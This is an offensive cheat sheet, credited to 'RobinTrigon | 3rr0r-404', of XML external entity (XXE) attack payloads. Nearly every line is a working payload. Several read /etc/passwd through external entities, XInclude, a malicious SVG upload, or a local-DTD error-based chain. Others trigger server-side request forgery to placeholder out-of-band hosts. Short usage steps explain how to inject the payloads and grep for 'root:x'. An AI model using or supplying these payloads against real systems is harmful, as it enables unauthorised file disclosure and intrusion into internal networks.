writen by: RobinTrigon | 3rr0r-404
Exploiting XXE using external entities to retrieve files
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "file:///etc/passwd"> %xxe; ]> //dont call xxe
XXE to perform SSRF attacks
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://sarver-ip/"> ]>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://colabrator/"> ]>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://colabrator/"> ]>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://collabrator"> %xxe; ]> //dont call xxe
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd"><!ENTITY sp SYSTEM "https://collabretor/">]><r>&xxe;&sp;</r>
Just replace any peramiter with it and egrep "root:x|daemon:x"
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
save this as svg file and upload it. now check your uploaded picture with root:x content.
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
bruteforce "bruteforce-here" with your dtd list and grep root:x | daemon:x
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file://bruteforce-here">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>